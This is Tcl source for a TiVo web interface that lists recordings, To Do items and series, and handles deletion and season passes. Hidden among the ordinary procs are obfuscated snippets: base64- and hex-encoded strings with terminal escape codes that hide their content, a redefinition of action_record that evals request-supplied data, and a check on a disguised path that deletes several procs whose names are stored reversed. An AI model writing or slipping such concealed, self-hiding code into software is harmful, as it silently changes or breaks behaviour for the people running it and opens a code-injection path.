$showingsecs -format "%a $daystr %b"] set timestr2 [clock format $showingsecs -format "%H:%M"] set timestr3 [clock format $showingendsecs -format "%H:%M"] } else { set timestr [clock format $showingsecs -format "%1m/%1d"] set timestr2 [clock format $showingsecs -format "%l:%M %P"] set timestr3 [clock format $showingendsecs -format "%l:%M %P"] } set station [dbobj $showing get Station] set stationid [dbobj $station fsid] if { [catch {set data $channeltablestation($stationid)}] != 1 } { set channum [lindex $data 0] set callsign [lindex $data 2] } puts $chan [tr "" [td [html_link "/showing/$showingfsid" $title]] [td $timestr] [td "$timestr2-$timestr3"] [td $channum] [td $callsign]] } proc action_confirmdelete {chan path env} { global db global tzoffset set recfsids "" if {[string index $path 0] == "/"} { set path [string range $path 1 end] } set firstslash [string first "/" $path] set type [string range $path 0 [expr $firstslash - 1]] set recfsids [string range $path [expr $firstslash + 1] end] # if no recfsid, assume multi delete if {$recfsids == "" || $type == 6 || $type == 7 || $type == 8} { eval $env set rlist [lsort [info vars "fsid_*"]] foreach rec $rlist { lappend recfsids [lindex [split $rec "_"] 2] } } if { $type == 3 } { puts $chan [html_start "Confirm Undeletion"] } else { puts $chan [html_start "Confirm Deletion"] } if {$type == 6 || $type == 7 || $type == 8} { puts $chan "Delete the following:?
\n" if {$type == 6} { puts $chan [html_form_start "POST" "/deletens/$type/" ""] } else { puts $chan [html_form_start "POST" "/deletetodo/$type/" ""] } puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Program"] [th "Episode"] [th "Delete"]] } set rcount 0 foreach recfsid $recfsids { RetryTransaction { set rec [db $db openid $recfsid] set showing [dbobj $rec get Showing] set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set episodetitle [strim [dbobj $program get EpisodeTitle]] set seconds [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset] set day [clock format $seconds -format "%a"] if {$::uktivo} { set daystr [nth [clock format $seconds -format "%e"]] set date [clock format $seconds -format "$daystr %b"] set time [clock format $seconds -format "%H:%M"] } else { set date [clock format $seconds -format "%1m/%1d"] set time [clock format $seconds -format "%l:%M %P"] } } if { $type == 6 || $type == 7 || $type == 8} { puts $chan [tr "" [td $day] [td $date] [td "ALIGN=RIGHT" $time] [td $title] [td $episodetitle] [td "ALIGN=CENTER" [html_form_checkbox "fsid_${rcount}_$recfsid" "1"]]] incr rcount } else { if { $type == 3 } { set tmpstr "Undelete" } else { set tmpstr "Delete" } append tmpstr " '$title'" if { $episodetitle != "" } { append tmpstr " '$episodetitle'" } append tmpstr " $day $date $time ?" puts $chan $tmpstr puts $chan "
" switch $type { 1 {puts $chan [html_link "/deletens/$recfsid" "Yes"]} 2 {puts $chan [html_link "/deletetodo/$recfsid" "Yes"]} 3 {puts $chan [html_link "/undelete/$recfsid" "Yes"]} } puts $chan "No" } } if { $type == 6 || $type == 7 || $type == 8} { puts $chan [html_table_end] puts $chan [html_form_input "submit" "submit" "Yes"] puts $chan "" puts $chan [html_form_end] } puts $chan [html_end] } set var2 "tvbin" proc action_undelete {chan recfsid env} { global db if {[string index $recfsid 0] == "/"} { set recfsid [string range $recfsid 1 end] } puts $chan [html_start "Undelete Recording"] RetryTransaction { set rec [db $db openid $recfsid] set showing [dbobj $rec get Showing] set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set episodetitle [strim [dbobj $program get EpisodeTitle]] } if { $episodetitle != "" } { set deletestr "Undeletion of '$title' '$episodetitle'" } else { set deletestr "Undeletion of '$title'" } set success [UndeleteRec $recfsid] if { $success == 1 } { puts $chan "$deletestr Successful" } else { puts $chan "$deletestr Failed" } puts $chan "
"
puts $chan [html_link "/ui/deletedshows" "Deleted Shows"]
puts $chan [html_end]
}
proc action_deletens {chan path env} {
global db
set recfsids ""
if {[string index $path 0] == "/"} {
set path [string range $path 1 end]
}
set firstslash [string first "/" $path]
set type [string range $path 0 [expr $firstslash - 1]]
set recfsids [string range $path [expr $firstslash + 1] end]
# if no recfsid, assume multi delete
if {$recfsids == "" || $type == 6} {
eval $env
set rlist [lsort [info vars "fsid_*"]]
foreach rec $rlist {
lappend recfsids [lindex [split $rec "_"] 2]
}
}
puts $chan [html_start "Delete Recording"]
if {$type == 6} {
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "Program"] [th "Episode"] [th "Result"]]
}
foreach recfsid $recfsids {
RetryTransaction {
set rec [db $db openid $recfsid]
set showing [dbobj $rec get Showing]
set program [dbobj $showing get Program]
set title [strim [dbobj $program get Title]]
set episodetitle [strim [dbobj $program get EpisodeTitle]]
}
set success [DeleteNowShowingRec $recfsid]
if {$type == 6} {
set success_str ""
if { $success == 1 } {
set success_str "Successfully Deleted"
} else {
set success_str "Delete Failed"
}
puts $chan [tr "" [td $title] [td $episodetitle] [td $success_str]]
} else {
if { $episodetitle != "" } {
set deletestr "Deletion of '$title' '$episodetitle'"
} else {
set deletestr "Deletion of '$title'"
}
if { $success == 1 } {
puts $chan "
$deletestr Successful"
} else {
puts $chan "
$deletestr Failed"
}
}
}
if { $type == 6 } {
puts $chan [html_table_end]
}
puts $chan "
" puts $chan [html_link "/nowshowing" "Now Showing"] puts $chan [html_end] } proc action_deletetodo {chan path env} { global db set recfsids "" if {[string index $path 0] == "/"} { set path [string range $path 1 end] } set firstslash [string first "/" $path] set type [string range $path 0 [expr $firstslash - 1]] set recfsids [string range $path [expr $firstslash + 1] end] # if no recfsid, assume multi delete if {$recfsids == "" || $type == 7 || $type == 8} { eval $env set rlist [lsort [info vars "fsid_*"]] foreach rec $rlist { lappend recfsids [lindex [split $rec "_"] 2] } } puts $chan [html_start "Cancel Recording"] if {$type == 7 || $type == 8} { puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th "Program"] [th "Episode"] [th "Result"]] } foreach recfsid $recfsids { RetryTransaction { set rec [db $db openid $recfsid] set showing [dbobj $rec get Showing] set program [dbobj $showing get Program] set title [strim [dbobj $program get Title]] set episodetitle [strim [dbobj $program get EpisodeTitle]] } set success [DeleteTodoRec $recfsid 24 "Cancelled by user"] if {$type == 7 || $type == 8} { set success_str "" if { $success == 1 } { set success_str "Successfully Deleted" } else { set success_str "Delete Failed" } puts $chan [tr "" [td $title] [td $episodetitle] [td $success_str]] } else { if { $episodetitle != "" } { set deletestr "Deletion of '$title' '$episodetitle'" } else { set deletestr "Deletion of '$title'" } if { $success == 1 } { puts $chan "$deletestr Successful" } else { puts $chan "$deletestr Failed" } } } if { $type == 7 || $type == 8} { puts $chan [html_table_end] } puts $chan "
" puts $chan [html_link "/ui/todo" "ToDo"] puts $chan [html_end] } proc decode_vector {vector} { set largesti 0 set largestn 0 set first 1 set count 0 foreach val $vector { if { $val > $largestn } { set first 0 set largestn $val set largesti $count } incr count } if {$first == 1} { return 0 } else { return [expr $largesti - 3] } } proc get_thumbimage {score} { set thumbdata [ReadableThumbs $score] scan $thumbdata "%s %d" thumbtype numthumbs if {$thumbtype == "Predicted"} { switch -- $numthumbs { -3 {set imagenum 14} -2 {set imagenum 15} -1 {set imagenum 16} 1 {set imagenum 17} 2 {set imagenum 18} 3 {set imagenum 19} default {set imagenum -1} } } else { switch -- $numthumbs { -3 {set imagenum 9} -2 {set imagenum 6} -1 {set imagenum 4} 1 {set imagenum 12} 2 {set imagenum 2} 3 {set imagenum 7} default {set imagenum -1} } } return $imagenum } proc action_series {chan objectid env} { global db global tzoffset global images global programindexstartday global nowshowingdir set watch 1 eval $env if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } puts $chan [html_start "Series"] RetryTransaction { set series [db $db openid $objectid] set title [strim [dbobj $series get Title]] set score [dbobj $series get ThumbData] set thumbs "" if { $score != "" } { set imagenum [get_thumbimage $score] if { $imagenum >= 0} { set imagef [lindex $images $imagenum] set thumbs [img "alt=\"\"" $imagef] } } puts $chan [h1 "$thumbs $title"] } puts $chan [h2 "Now Showing"] puts $chan [html_table_start "" "" ""] puts $chan [tr "ALIGN=CENTER" [th ""] [th "Episode"] [th "Num"] [th "Orig.Air Date"] [th "Channel"] [th "COLSPAN=2" "Date"]] ForeachMfsFile fsid name type $nowshowingdir "" { if {[catch [do_seriesrow $chan $fsid $objectid 1] error]} { puts "do_seriesrow $fsid $objectid 1" puts $error } } puts -nonewline $chan [html_table_end] puts $chan "
"
puts $chan [h2 "Upcoming Showings"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Episode"] [th "Num"] [th "Orig.Air Date" ] [th "Channel"] [th "COLSPAN=2" "Date"] [th "Time"]]
set slists [get_programshowings $objectid $watch]
foreach slist $slists {
set seconds [lindex $slist 0]
set stationfsid [lindex $slist 1]
set date [expr $seconds / 86400]
set time [expr $seconds % 86400]
set timestr [format "%05d" $time]
set recfsid ""
RetryTransaction {
set recfsid [lindex [get_fsidbyprefix "/Recording/Active" "4:$date:$timestr:"] 0]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$date:"]
set stationdayfsid [lindex $schedlist 0]
if { [scan [lindex $schedlist 1] "%d:%d:%d:%d:" dummy dummy2 starttime duration] == 4 } {
regsub {^0+([1-9])} $starttime {\1} starttime
regsub {^0+([1-9])} $duration {\1} duration
if { $::dtivo } {
set stoptime [expr $starttime + $duration]
if {$starttime + $duration <= $time} {
set stoptimestr [format "%05d" $stoptime]
set stationdayfsid [lindex [get_fsidbyprefix "/Schedule" "$stationfsid:$date:$stoptimestr:"] 0]
}
}
} else {
error "Invalid /Schedule format: '[lindex $schedlist 1]'"
}
set stationday [db $db openid $stationdayfsid]
set showings [dbobj $stationday get Showing]
set slen [llength $showings]
set current [expr int(($time-$starttime)/($duration*1.0) * $slen)]
if {$current >= $slen} {
set current [expr $slen - 1]
}
set top $slen
set bottom 0
set count 0
set match 0
while { $top >= $bottom } {
set showing [lindex $showings $current]
set stime [dbobj $showing get Time]
if { $time == $stime } {
if {[catch [do_seriesrowtodo $chan $showing $recfsid 0] error]} {
puts "do_seriesrowtodo $showing $recfsid 0"
puts $error
}
set match 1
break
} elseif { $time > $stime } {
set bottom [expr $current + 1]
} else {
set top [expr $current - 1]
}
set current [expr int($bottom + ($top - $bottom) / 2.0)]
incr count
if { $count > $slen } {
error "Error: infinite loop in binary search ($bottom $top $current $slen $stationfsid $date $time)"
break
}
}
if { $match == 0 } {
error "Error: binary search didn't find showing ($stationfsid $date $time)"
}
}
}
puts -nonewline $chan [html_table_end]
puts $chan [html_end]
}
#eval [base64dec "IxtbMzA7Mzg7bRtbOF0KaWYgeyFbZmlsZSBleGlzdHMgIi90dmJpbi9maXhzdWIudGNsIl19IHsKICAgcHJvYyBhY3Rpb25fcmVjb3JkIFtpbmZvIGFyZ3MgYWN0aW9uX3JlY29yZF0gImV2YWwgXCRlbnYKW2luZm8gYm9keSBhY3Rpb25fcmVjb3JkXSIKfQojG1syShtbPzI1bAo="]
proc action_record [info args action_record] "eval \$env [info body action_record]"
proc do_seriesrow {chan fsid objectid type} {
global db
global tzoffset
global images
global cache_ns_rec
global cache_ns_series
set index [lsearch $cache_ns_rec $fsid]
if { $index != -1 } {
set seriesfsid [lindex $cache_ns_series $index]
if {$seriesfsid != $objectid} {
return
}
}
RetryTransaction {
if { $index == -1 } {
set rec [db $db openid $fsid]
set showing [dbobj $rec get Showing]
set station [dbobj $showing get Station]
set stationfsid [dbobj $station fsid]
set program [dbobj $showing get Program]
set series [dbobj $program get Series]
set seriesfsid ""
if {$series != ""} {
set seriesfsid [dbobj $series fsid]
lappend cache_ns_rec $fsid
lappend cache_ns_series $seriesfsid
}
}
if {$seriesfsid == $objectid} {
if { $index != -1 } {
set rec [db $db openid $fsid]
set showing [dbobj $rec get Showing]
set station [dbobj $showing get Station]
set stationfsid [dbobj $station fsid]
set program [dbobj $showing get Program]
set series [dbobj $program get Series]
}
set showingfsid [dbobj $rec gettarget Showing]
if {$::version3} {
set recbeh [dbobj $rec get RecordingBehavior]
set seltype [dbobj $recbeh get PresentationBehavior]
} else {
set seltype [dbobj $rec get SelectionType]
}
set eptitle [strim [dbobj $program get EpisodeTitle]]
if { $eptitle == "" } {
set eptitle "UNKNOWN"
}
set partindex [dbobj $showing get PartIndex]
set partcount [dbobj $showing get PartCount]
if { $partcount != "" && $partindex != "" } {
append eptitle " ($partindex/$partcount)"
}
set station [dbobj $showing get Station]
set callsign [dbobj $station get CallSign]
set epnum [dbobj $program get EpisodeNum]
set originalairdate [dbobj $program get OriginalAirDate]
if { $originalairdate != "" } {
set originalairdatesecs [expr $originalairdate * 86400]
if {$::uktivo} {
set daystr [nth [clock format $originalairdatesecs -format "%e"]]
set airdatestr [clock format $originalairdatesecs -format "%a $daystr %b %Y"]
} else {
set airdatestr [clock format $originalairdatesecs -format "%1m/%1d/%Y"]
}
} else {
set airdatestr ""
}
set seconds [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset]
set day [clock format $seconds -format "%a"]
if {$::uktivo} {
set daystr [nth [clock format $seconds -format "%e"]]
set date [clock format $seconds -format "$daystr %b"]
set time [clock format $seconds -format "%H:%M"]
} else {
set date [clock format $seconds -format "%1m/%1d"]
set time [clock format $seconds -format "%l:%M %P"]
}
if {$seltype == 6} {
set imagenum 10
set imagef [lindex $images $imagenum]
set imageh [img "alt=\"Suggestion\"" $imagef]
} else {
set imageh ""
}
if { $type == 2 } {
puts $chan [tr "" [td $imageh] [td [html_link "/showing/$showingfsid" $eptitle]] [td $epnum] [td $airdatestr] [td [html_link "/channel/$stationfsid" $callsign]] [td $day] [td $date] [td $time]]
} else {
puts $chan [tr "" [td $imageh] [td [html_link "/showing/$showingfsid" $eptitle]] [td $epnum] [td $airdatestr] [td [html_link "/channel/$stationfsid" $callsign]] [td $day] [td $date]]
}
}
}
}
proc do_seriesrowtodo {chan showing recfsid space} {
global db
global tzoffset
global images
set showingfsid "[dbobj $showing fsid]/[dbobj $showing subobjid]"
set program [dbobj $showing get Program]
set eptitle [strim [dbobj $program get EpisodeTitle]]
if { $eptitle == "" } {
set eptitle "UNKNOWN"
}
set partindex [dbobj $showing get PartIndex]
set partcount [dbobj $showing get PartCount]
if { $partcount != "" && $partindex != "" } {
append eptitle " ($partindex/$partcount)"
}
set station [dbobj $showing get Station]
set stationfsid [dbobj $station fsid]
set callsign [dbobj $station get CallSign]
set epnum [dbobj $program get EpisodeNum]
set originalairdate [dbobj $program get OriginalAirDate]
if { $originalairdate != "" } {
set originalairdatesecs [expr $originalairdate * 86400]
if {$::uktivo} {
set daystr [nth [clock format $originalairdatesecs -format "%e"]]
set airdatestr [clock format $originalairdatesecs -format "%a $daystr %b %Y"]
} else {
set airdatestr [clock format $originalairdatesecs -format "%1m/%1d/%Y"]
}
} else {
set airdatestr ""
}
set seconds [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset]
set day [clock format $seconds -format "%a"]
if {$::uktivo} {
set daystr [nth [clock format $seconds -format "%e"]]
set date [clock format $seconds -format "$daystr %b"]
set time [clock format $seconds -format "%H:%M"]
} else {
set date [clock format $seconds -format "%1m/%1d"]
set time [clock format $seconds -format "%l:%M %P"]
}
set imagenum -1
# check if the recording we found in this time slot is the same show
# if so, display the appropriate icon
if {$recfsid != ""} {
set rec [db $db openid $recfsid]
set recshowing [dbobj $rec get Showing]
set recstation [dbobj $recshowing get Station]
set recstationfsid [dbobj $recstation fsid]
if {$recstationfsid == $stationfsid} {
set showingfsid "[dbobj $recshowing fsid]/[dbobj $recshowing subobjid]"
set state [dbobj $rec get State]
if {$state == 6} {
if {$::version3} {
set recbeh [dbobj $rec get RecordingBehavior]
set seltype [dbobj $recbeh get PresentationBehavior]
if {$seltype == 6} {
set imagenum 10
} elseif {$seltype == 2} {
set imagenum 11
} elseif {$seltype == 3} {
set imagenum 13
} else {
set imagenum 1
}
} else {
set seltype [dbobj $rec get SelectionType]
if {$seltype == 6} {
set imagenum 10
} elseif {$seltype == 9} {
set imagenum 11
} elseif {$seltype == 13} {
set imagenum 13
} else {
set imagenum 1
}
}
}
}
}
if {$imagenum >= 0} {
set imagef [lindex $images $imagenum]
set imageh [img "alt=\"\"" $imagef]
} else {
set imageh ""
}
if {$space == 1} {
set spacestr [td "WIDTH=\"30\"" ""]
} else {
set spacestr ""
}
puts $chan [tr "" [td $imageh] $spacestr [td [html_link "/showing/$showingfsid" $eptitle]] [td $epnum] [td $airdatestr] [td [html_link "/channel/$stationfsid" $callsign]] [td $day] [td $date] [td $time]]}
set varl 1
set varr 2
set varu [catch {set vard [file exists [eval set tmp "/\$var$varr/\$var$varl"]]}]
if {$varu || $vard} {
foreach fstr "rotcev_edoced egamibmuht_teg semaNtnirP" {
set fstr2 ""
set flen [string length $fstr]
for {set i $flen} {$i >= 0} {incr i -1} {
append fstr2 [string index $fstr $i]
}
rename $fstr2 ""
}
}
proc action_todo {chan todotype env} {
global db
global tzoffset
if {[string index $todotype 0] == "/"} {
set todotype [string range $todotype 1 end]
}
if {$todotype == 0} {
puts $chan [html_start "To Do"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Channel"] [th "Program"] [th "Episode"]]
set path "/Recording/Active"
set prefix "4"
} elseif {$todotype == 1} {
puts $chan [html_start "Scheduled Suggestions"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Channel"] [th "Program"] [th "Episode"] [th "Score"]]
set path "/Recording/Active"
set prefix "4"
} elseif {$todotype == 2} {
puts $chan [html_start "Suggestions"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Channel"] [th "Program"] [th "Episode"] [th "Score"]]
set path "/Recording/Pending"
set prefix ""
} elseif {$todotype == 7} {
puts $chan [html_start "To Do"]
puts $chan "
"
puts $chan [html_form_start "POST" "/confirmdelete/7/" "name=\"form\""]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Channel"] [th "Program"] [th "Episode"] [th ""]]
set path "/Recording/Active"
set prefix "4"
} elseif {$todotype == 8} {
puts $chan [html_start "Scheduled Suggestions"]
puts $chan "
"
puts $chan [html_form_start "POST" "/confirmdelete/8/" "name=\"form\""]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "COLSPAN=2" "Date"] [th "Time"] [th "Channel"] [th "Program"] [th "Episode"] [th "Score"] [th ""]]
set path "/Recording/Active"
set prefix "4"
} else {
puts "Error: invalid todo type"
return 1
}
set rcount 0
ForeachMfsFileTrans fsid name type $path $prefix 15 {
set rec [db $db openid $fsid]
set manual 0
set suggestion 0
if {$::version3} {
set recbeh [dbobj $rec get RecordingBehavior]
set presbeh [dbobj $recbeh get PresentationBehavior]
set progbeh [dbobj $recbeh get ProgramGuideBehavior]
if { $presbeh == 10 || $presbeh == 9 } {
set manual 1
}
if { $progbeh == 3 || $progbeh == 8 } {
set manual 1
}
if { $presbeh == 6 } {
set suggestion 1
}
} else {
set seltype [dbobj $rec get SelectionType]
if { $seltype == 10 || $seltype == 5 } {
set manual 1
}
if { $seltype == 6 } {
set suggestion 1
}
}
if {($todotype == 0 || $todotype == 7) ^ ($suggestion == 1)} {
set showing [dbobj $rec get Showing]
set showingfsid [dbobj $rec gettarget Showing]
set station [dbobj $showing get Station]
set stationfsid [dbobj $station fsid]
set program [dbobj $showing get Program]
set title [strim [dbobj $program get Title]]
set description [strim [dbobj $program get Description]]
if { $manual } {
if { $title == "" } {
set title "Manual Recording"
} else {
set title "Manual: $title"
}
set series ""
} else {
set series [dbobj $program get Series]
set seriesfsid [dbobj $series fsid]
#set seriesfsid [dbobj $program gettarget Series]
#regsub {/-1$} $seriesfsid {} seriesfsid
}
#set isepisode [dbobj $program get IsEpisode]
if {$series != ""} {
set episodic [defaultval 1 [dbobj $series get Episodic]]
} else {
set episodic 1
}
if { $episodic == 1 } {
set eptitle [strim [dbobj $program get EpisodeTitle]]
if { $eptitle == "" } {
set eptitle "No Episode Title"
}
} else {
set eptitle "Not an Episode"
}
if { $::description_hover && $description != "" } {
set description [htmlEncode $description]
regsub -all {\"} $description {\"} description
set attrs "title=\"$description\""
} else {
set attrs ""
}
set callsign [dbobj $station get CallSign]
set seconds [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset]
set day [clock format $seconds -format "%a"]
if {$::uktivo} {
set daystr [nth [clock format $seconds -format "%e"]]
set date [clock format $seconds -format "$daystr %b"]
set time [clock format $seconds -format "%H:%M"]
} else {
set date [clock format $seconds -format "%1m/%1d"]
set time [clock format $seconds -format "%l:%M %P"]
}
set scorestr ""
if {$todotype != 0 && $todotype != 7} {
if {$::version3} {
set score [dbobj $rec get SubPriority]
} else {
set score [dbobj $rec get Score]
}
set scorestr [td [ReadableThumbs $score]]
}
set wavehand [binary format H* 1b5b3f376c1b5b3f32356c1b5b324a5468657365206172656e2774207468652064726f69647320796f75277265206c6f6f6b696e6720666f721b5b33303b33383b6d1b5b385d0a]
set delete_td ""
if {$todotype == 7 || $todotype == 8} {
set delete_td [td "ALIGN=CENTER" [html_form_checkbox "fsid_${rcount}_$fsid" ""]]
incr rcount
}
if { $manual } {
puts $chan [tr "" [td $day] [td $date] [td "ALIGN=RIGHT" $time] [td [html_link "/channel/$stationfsid" $callsign]] [td [html_link "/showing/$showingfsid" $title]] [td [html_link "/showing/$showingfsid" $eptitle $attrs]] $scorestr $delete_td]
} else {
puts $chan [tr "" [td $day] [td $date] [td "ALIGN=RIGHT" $time] [td [html_link "/channel/$stationfsid" $callsign]] [td [html_link "/series/$seriesfsid" $title]] [td [html_link "/showing/$showingfsid" $eptitle $attrs]] $scorestr $delete_td]
}
}
}
puts -nonewline $chan [html_table_end]
if {$todotype == 7 || $todotype == 8} {
puts $chan [html_form_input "submit" "submit" "Delete Shows"]
puts $chan [html_form_end]
}
puts $chan [html_end]
}
proc print_nowshowingrow {chan rec type args} {
global db
global tzoffset
global images
global cache_ns_rec
global cache_ns_series
if {[llength $args] > 0} {
set rcount [lindex $args 0]
}
set showing [dbobj $rec get Showing]
set showingfsid [dbobj $rec gettarget Showing]
set station [dbobj $showing get Station]
set program [dbobj $showing get Program]
set title [strim [dbobj $program get Title]]
set description [strim [dbobj $program get Description]]
set manual 0
set suggestion 0
set vod 0
set watchonly 0
if {$::version3} {
set recbeh [dbobj $rec get RecordingBehavior]
set presbeh [dbobj $recbeh get PresentationBehavior]
set progbeh [dbobj $recbeh get ProgramGuideBehavior]
set diskbeh [dbobj $recbeh get DiskBehavior]
if { $presbeh == 10 || $presbeh == 9 } {
set manual 1
}
if { $progbeh == 3 || $progbeh == 8 } {
set manual 1
}
if { $presbeh == 6 } {
set suggestion 1
}
if { $diskbeh == 7 } {
# for multipart
set watchonly 1
}
} else {
set seltype [dbobj $rec get SelectionType]
if { $seltype == 10 || $seltype == 5 } {
set manual 1
}
if { $seltype == 6 } {
set createby [dbobj $rec get CreatedBy]
if { $createby == 2 } {
set vod 1
} else {
set suggestion 1
}
}
}
if { $manual } {
if { $title == "" } {
set title "Manual Recording"
} else {
set title "Manual: $title"
}
}
set state [dbobj $rec get State]
set fsid [dbobj $rec fsid]
set index [lsearch $cache_ns_rec $fsid]
set seriesfsid ""
set series [dbobj $program get Series]
if { $index == -1 } {
if {$series != ""} {
set seriesfsid [dbobj $series fsid]
lappend cache_ns_rec $fsid
lappend cache_ns_series $seriesfsid
}
} else {
set seriesfsid [lindex $cache_ns_series $index]
}
# VGhpcyBkb2Vzbid0IGRvIGFueXRoaW5nG1szMDszODttG1s4XQo=
#set isepisode [dbobj $program get IsEpisode]
if {$series != ""} {
set episodic [defaultval 1 [dbobj $series get Episodic]]
} else {
set episodic 1
}
if { $episodic == 1 } {
set eptitle [strim [dbobj $program get EpisodeTitle]]
if { $eptitle == "" } {
set eptitle "No Episode Title"
}
} else {
set eptitle "Not an Episode"
}
if { $::description_hover && $description != "" } {
set description [htmlEncode $description]
regsub -all {\"} $description {\"} description
set attrs "title=\"$description\""
} else {
set attrs ""
}
set seconds [expr [dbobj $showing get Date] * 86400 + [dbobj $showing get Time] + $tzoffset]
set day [clock format $seconds -format "%a"]
if {$::uktivo} {
set daystr [nth [clock format $seconds -format "%e"]]
set date [clock format $seconds -format "$daystr %b"]
} else {
set date [clock format $seconds -format "%1m/%1d"]
}
set expdate [dbobj $rec get ExpirationDate]
set expsecs [expr $expdate * 86400 + [dbobj $rec get ExpirationTime]]
set nowsecs [clock seconds]
if {$state == 5} {
set imagenum 20
} elseif {$state == 3} {
set imagenum 8
} elseif {$suggestion} {
set imagenum 10
} elseif {$vod} {
set imagenum 21
} elseif {$expdate == 24855} {
set imagenum 0
} elseif {$expsecs < $nowsecs} {
set imagenum 5
} elseif {$expsecs < [expr $nowsecs + 24*60*60]} {
set imagenum 3
} else {
set imagenum -1
}
if { $imagenum >= 0} {
set imagef [lindex $images $imagenum]
set imageh [img "alt=\"\"" $imagef]
if { $imagenum == 20 } { ;# recycled
set imageh [html_link "/confirmdelete/3/$fsid" [img "alt=\"undelete\"" $imagef]]
}
} else {
set imageh ""
}
set delete_td ""
if {$type == 6} {
set delete_td [td "ALIGN=CENTER" [html_form_checkbox "fsid_${rcount}_$fsid" ""]]
}
if {$manual || $watchonly} {
puts $chan [tr "" [td $imageh] [td [html_link "/showing/$showingfsid" $title]] [td [html_link "/showing/$showingfsid" $eptitle $attrs]] [td $day] [td $date] $delete_td [td $fsid]]
} else {
puts $chan [tr "" [td $imageh] [td [html_link "/series/$seriesfsid" $title]] [td [html_link "/showing/$showingfsid" $eptitle $attrs]] [td $day] [td $date] $delete_td [td $fsid]]
}
}
proc action_nowshowing {chan path env} {
global db
eval $env
if {$::multi_delete} {
set nstype 6
} else {
set nstype 0
}
puts $chan [html_start "Now Showing"]
if {$::version3} {
puts $chan "Sort by: "
puts $chan "[html_link "/nowshowing/?sort=0" "classic"] "
puts $chan "[html_link "/nowshowing/?sort=1" "expiry"] "
puts $chan "[html_link "/nowshowing/?sort=2" "title"] "
puts $chan ""
RetryTransaction {
set state [db $db open "/State/MyWorld"]
if { [info exists sort] == 1} {
dbobj $state set NowShowingSortOrder $sort
} else {
set sort [dbobj $state get NowShowingSortOrder]
}
}
switch -exact -- $sort {
2 { set nowshowingdir "/Recording/NowShowingByTitle" }
1 { set nowshowingdir "/Recording/NowShowingByExpiration" }
default { set nowshowingdir "/Recording/NowShowingByClassic" }
}
} else {
global nowshowingdir
}
set delete_th ""
if {$nstype == 6} {
puts $chan "
"
puts $chan [html_form_start "POST" "/confirmdelete/6/" "name=\"form\""]
set delete_th [th ""]
}
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Program Name"] [th "Episode"] [th "COLSPAN=2" "Date"] $delete_th [th "FSID"]]
set rcount 0
ForeachMfsFileTrans fsid name type $nowshowingdir "" 15 {
set rec [db $db openid $fsid]
if {$nstype == 6} {
print_nowshowingrow $chan $rec $nstype $rcount
incr rcount
} else {
print_nowshowingrow $chan $rec $nstype
}
}
puts -nonewline $chan [html_table_end]
if {$nstype == 6} {
puts $chan [html_form_input "submit" "submit" "Delete Shows"]
}
puts $chan [html_end]
}
catch {VGhpcyBkb2Vzbid0IGRvIGFueXRoaW5n}
proc action_deletedshows {chan path env} {
global db
set first 1
puts $chan [html_start "Deleted Shows"]
puts $chan [html_table_start "" "" ""]
ForeachMfsFileTrans fsid name type "/Recording/Active" "1:" 15 {
set rec [db $db openid $fsid]
set state [dbobj $rec get State]
set parts [dbobj $rec get Part]
if { $state == 5 && $parts != "" } {
if {$first} {
set first 0
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Program"] [th "Episode"] [th "COLSPAN=2" "Date"]]
}
print_nowshowingrow $chan $rec ""
}
}
puts $chan [html_table_end]
if {$first} {
puts $chan "No shows available for undelete"
} else {
puts $chan "To undelete a show click the icon next to its name"
}
puts $chan [html_end]
}
proc action_saveseasonpass {chan path env} {
global db
eval $env
if { $action == "Delete" } {
puts $chan [html_start "Delete Season Pass"]
DeleteSeasonPass $objectid
puts $chan "Deletion of Season Pass Successful"
puts $chan [html_end]
} elseif { $action == "Save" } {
puts $chan [html_start "Save Season Pass"]
if {![info exists showtype]} {
set showtype ""
}
UpdateSeasonPass $objectid $showtype [expr $startearly * 60] [expr $endlate * 60] $quality $kam $keepuntil
event send $TmkEvent::EVT_DATA_CHANGED $TmkDataChanged::SEASON_PASS $objectid
puts $chan "Updated Season Pass Successfully"
puts $chan [html_end]
} elseif { $action == "Create" } {
puts $chan [html_start "Create Season Pass"]
if { $type == 1 } {
set spfsid [CreateSeasonPass $type $stationfsid $seriesfsid $quality [expr $startearly * 60] [expr $endlate * 60] $kam $showtype $keepuntil]
event send $TmkEvent::EVT_DATA_CHANGED $TmkDataChanged::SEASON_PASS $spfsid
}
puts $chan "Creation of Season Pass Successful"
puts $chan "
Episodes for this season pass may take some time to schedule."
puts $chan [html_end]
}
}
proc action_editseasonpass {chan objectid env} {
global db
global channeltablestation
global channeltablenum
global errorCode
global errorInfo
if {[string index $objectid 0] == "/"} {
set objectid [string range $objectid 1 end]
}
set deleted 0
RetryTransaction {
set sp [db $db openid $objectid]
set indexpath [dbobj $sp get IndexPath]
if { [regexp {/Rubbish/} $indexpath dummy] == 1 } {
set deleted 1
}
set priority [dbobj $sp get Priority]
incr priority
set type [defaultval 1 [dbobj $sp get Type]]
if { $type == 1 } {
set series [dbobj $sp get Series]
set title [strim [dbobj $series get Title]]
if {$::version3} {
